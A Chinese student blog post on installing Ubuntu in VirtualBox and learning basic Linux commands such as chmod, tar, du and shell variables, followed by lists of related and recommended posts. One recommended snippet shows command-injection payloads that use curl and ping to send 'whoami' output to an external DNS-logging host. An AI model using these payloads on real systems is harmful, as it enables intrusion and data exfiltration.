Linux安装及学习


安装


遇到的小困难:

  1. 笔记本电脑虚拟化问题

解决方案:高级设置->重启电脑->BIOS->Configuratio > Intel Virtual Technology > Enabled->press F10->Finished.

2.设置增强化失败

解决方案:以为能用Ctrl+C复制代码,后来发现是终止当前运行任务,多等一些时间就完成了。


常用快捷键:

  1. Ctrl+Alt+T:打开终端后台;
  2. Ctrl+C:强制终止当前任务;
  3. Ctrl+R:快速搜索历史命令;
  4. Tab:自动补全代码与指令;

学习笔记:

1.在 Linux 里面每个用户都有一个归属(用户组),用户组简单地理解就是一组用户的集合,它们共享一些资源和权限,同时拥有私有资源。

在 Linux 里面通过groups 命令或查看 /etc/group 文件

来知道自己属于哪些用户组。


2.一个目录同时具有读权限和执行权限才可以打开并查看内部文件,而一个目录要有写权限才允许在其中创建其它文件。

文件权限图示:

![](https://images2018.cnblogs.com/blog/1298409/201802/1298409-20180224025117178-1628946969.png)

如果有一个自己的文件不想被其他用户读、写、执行,那么就需要对文件的权限做修改,修改的方法有两种---二进制数字表示和加减赋值操作。

二进制:$ chmod 700 [文件名]

加减赋值操作:$ chmod go-rw [文件名]

3 . Linux 目录结构(或者直接执行$ tree /)

FHS标准:

绝对路径:简单地说就是以根" / "目录为起点的完整路径,以你所要到的目录为终点。

相对路径:相对于你当前的目录的路径,相对路径是以当前目录 “ . ” 为起点,以你所要到的目录为终点。

 使用 touch 命令创建空白文件。

 使用 mkdir(make directories)命令可以创建一个空目录,也可同时指定创建目录的权限属性。

 使用 cp(copy)命令复制一个文件到指定目录。

 复制目录需要加上 - r 或者 - R 参数(递归复制)。

 使用 rm(remove files or directories)命令删除一个文件

 删除目录同样需要加上 - r 或者 - R 参数。

  使用 mv(move or rename files)命令移动文件(剪切)。

  重用名文件:将文件“ file1 ”重命名为“ myfile ”---$ mv file1 myfile.

  使用 cat,tac 和 nl 命令查看文件,前两个都是用来打印文件内容到标准输出(终端),其中 cat 为正序显示,tac 为倒序显示,nl 命令,添加行号并打印,这是个比 cat -n 更专业的行号打印命令。

  查看文件类型:使用file命令。

4.Shell 变量.所谓变量就是计算机中用于记录一个值(不一定是数值,也可以是字符或字符串)的符号,而这些符号将用于不同的运算处理中。

 使用 declare 命令创建变量。

 环境变量:

命令说明:

一、set: 显示当前 Shell 所有变量,包括其内建环境变量(与 Shell 外观等相关),用户自定义变量及导出的环境变量。

二、env: 显示与当前用户相关的环境变量,还可以让命令在指定环境中运行。

三、export: 显示从 Shell 中导出成环境变量的变量,也能通过它将自定义变量导出为环境变量。


5.$PATH环境变量设置命令搜索路径。

 $PATH中临时添加自定义路径,用冒号连接路径.
变量设置方式 说明
${变量名#匹配字串} 从头向后开始匹配,删除符合匹配字串的最短数据
${变量名##匹配字串} 从头向后开始匹配,删除符合匹配字串的最长数据
${变量名%匹配字串} 从尾向前开始匹配,删除符合匹配字串的最短数据
${变量名%%匹配字串} 从尾向前开始匹配,删除符合匹配字串的最长数据
${变量名/旧的字串/新的字串} 将符合旧字串的第一个字串替换为新的字串
${变量名//旧的字串/新的字串} 将符合旧字串的全部字串替换为新的字串

6.使用 unset 命令删除一个环境变量。($ unset temp)

与搜索相关的命令常用的有 whereis(简单快速),which(小而精),find(精而细) 和 locate(快而全) 。

与时间相关的命令参数:

参数 说明
-atime 最后访问时间
-ctime 最后修改文件内容的时间
-mtime 最后修改文件属性的时间

7.压缩文件:

文件后缀名 说明
*.zip zip 程序打包压缩的文件
*.rar rar 程序压缩的文件
*.7z 7zip 程序压缩的文件
*.tar tar 程序打包,未压缩的文件
*.gz gzip 程序(GNU zip)压缩的文件
*.xz xz 程序压缩的文件
*.bz2 bzip2 程序压缩的文件
*.tar.gz tar 打包,gzip 程序压缩的文件
*.tar.xz tar 打包,xz 程序压缩的文件
*tar.bz2 tar 打包,bzip2 程序压缩的文件
*.tar.7z tar 打包,7z 程序压缩的文件

8.常用命令:

zip:

  • 打包 :zip something.zip something (目录请加 -r 参数)
  • 解包:unzip something.zip
  • 指定路径:-d 参数

tar:

  • 打包:tar -zcvf something.tar something
  • 解包:tar -zxvf something.tar
  • 指定路径:-C 参数

9.使用 df 命令查看磁盘的容量.

使用 du 命令查看目录的容量。

常用参数:
指令 用法
du -d # 指定查看目录的深度
du -h # 同--human-readable 以K,M,G为单位,提高信息的可读性。
du -a # 同--all 显示目录中所有文件的大小。
du -s # 同--summarize 仅显示总计,只列出最后加总的值。
找出当前目录下面占用最大的前十个文件:$ du -h -a | sort -n -r | head -n 10

10.内建命令:实际上是 shell 程序的一部分,其中包含的是一些比较简单的 Linux 系统命令

外部命令:Linux 系统中的实用程序部分,因为实用程序的功能通常都比较强大,所以其包含的程序量也会很大,在系统加载时并不随系统一起被加载到内存中,而是在需要时才将其调用内存。

帮助命令:
命令 功能
help 显示内建命令的帮助信息
--help 显示外部命令的帮助信息
man 显示系统手册页中的内容
info GNU 的超文本帮助系统,能够更完整的显示出 GNU 信息

20165237 预备作业3 Linux安装及学习的更多相关文章

  1. 20165226 预备作业3 Linux安装及学习

    20165226 预备作业3 Linux安装及学习 Linux安装 一.下载安装VirtualBox 1.首先在官网下载,点开基于VirtualBox虚拟机安装Ubuntu图文教程 找到版本进行下载安 ...

  2. 20165230 预备作业3 Linux安装及学习

    20165230 预备作业3 Linux安装及学习 安装Linux操作系统 通过学习实践基于VirtualBox虚拟机安装Ubuntu图文教程,开始了虚拟机的安装,根据教程按着步骤一步一步的完成. 遇 ...

  3. 20165327 预备作业3 Linux安装及学习

    20165327 预备作业3 Linux安装及学习 一.学习基于VirtualBox虚拟机安装Ubuntu图文教程,在自己笔记本上安装Linux操作系统,注意尽量选用最新版本的VirtualBox和U ...

  4. 20165303 预备作业3 Linux安装及学习

    =20165303 预备作业3 Linux安装及学习 安装虚拟机 按照http://www.cnblogs.com/rocedu/p/6012545.html步骤进行逐步操作,安装虚拟机. 遇到的问题 ...

  5. 20165315 预备作业3 Linux安装及学习

    20165315 预备作业3 Linux安装及学习 一.在自己笔记本上安装Linux操作系统 因为对操作电脑的不熟悉,我在第一项任务上就花费了一定的时间,在安装过程有如下问题: 我的电脑是苹果公司的M ...

  6. 20165310 预备作业3 Linux安装及学习

    预备作业3 Linux安装及学习 安装虚拟机 之前在win7系统下通过EasyBCD安装过Ubuntu虚拟机,这次阅读<基于VirtualBox虚拟机安装Ubuntu图文教程>又学习到了一 ...

  7. 20165211 预备作业3 Linux安装与学习

    20165211 预备作业3 Linux安装与学习 1. Linux安装 涉及软件:VirtualBox,Ubuntu 参考教程:基于VirtualBox安装Ubuntu图文教程 安装过程的问题 在安 ...

  8. 20165227朱越 预备作业3 Linux安装及学习

    预备作业3 Linux安装及学习 Linux的安装 虚拟机的安装远没有想象中的那样容易,下载还没有出现什么问题,当我安装的时候,第一个问题出现在创建虚拟机时选择安装的虚拟机版本和类型的时候的错误 当时 ...

  9. 20165333 预备作业3 Linux安装及学习

    预备作业3 Linux安装及学习 Linux系统安装 在老师的教程帮助下成功的完成了虚拟机的安装,但安装过程中也遇到了一些问题.在下载ubuntu时,总是下载失败,在求助同学后,在中文版官网的网址,才 ...

随机推荐

  1. qml: 组件复用

    在编写组件时,使用下面两种方法可以实现组件的复用: import QtQuick 2.0 import QtQuick.Window 2.2 import QtQuick.Controls 1.4 a ...

  2. Kafka各个版本差异汇总

    Kafka各个版本差异汇总   从0.8.x,0.9.x,0.10.0.x,0.10.1.x,0.10.2.x,0.11.0.x,1.0.x或1.1.x升级到2.0.0 Kafka 2.0.0引入了线 ...

  3. springboot下整合各种配置文件

    本博是在springboot下整合其他中间件,比如,mq,redis,durid,日志...等等  以后遇到再更.springboot真是太便捷了,让我们赶紧涌入到springboot的怀抱吧. ap ...

  4. python 面向对象(四)反射

    ####################总结########## 1. isinstance: 判断xxx是否是xxx类型的(向上判断) type: 返回xx对象的数据类型 issubclass: 判 ...

  5. zookeeper安装(集群)

    Dubbo 建议使用Zookeeper 作为服务的注册中心.Zookeeper 集群中只要有过半的节点是正常的情况下,那么整个集群对外就是可用的.正是基于这个特性,要将ZK 集群的节点数量要为奇数(2 ...

  6. lnk快捷方式变记事本打开还原,桌面图标变lnk还原方法

    今天天碰到一坑爹问题,打开一个.ini文件自动设置用记事本打开,所有快捷方式都变成记事本打开了,如下图,网上找了一些方法. windows中LNK文件打开方式恢复 相信有些用户曾试过错误地把LNK文件 ...

  7. centos6.5mini版安装及配置

    1.安装选择界面,这个选第一个 2.镜像完整性检查,一般都是跳过SKIP 3.欢迎界面,进入安装了 4.语言选择,这个是没有中文的,用默认的英文就行 5.键盘布局,用默认的us 6.这里会给一个警告, ...

  8. TIMESTAMP使用遇到得麻烦

    mysql按日期查询报空,怎么查看日志发现是14:36:01.709(Timestamp), 参数出了问题 2018-04-17 14:36:16,887 [http-nio-8080-exec-5] ...

  9. DNSLOG的Payload

    命令执行处 linux curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io windows ...

  10. HDU - 5119 Happy Matt Friends(dp)

    题目链接 题意:n个数,你可以从中选一些数,也可以不选,选出来的元素的异或和大于m时,则称满足情况.问满足情况的方案数为多少. 分析:本来以为是用什么特殊的数据结构来操作,没想到是dp,还好队友很强. ...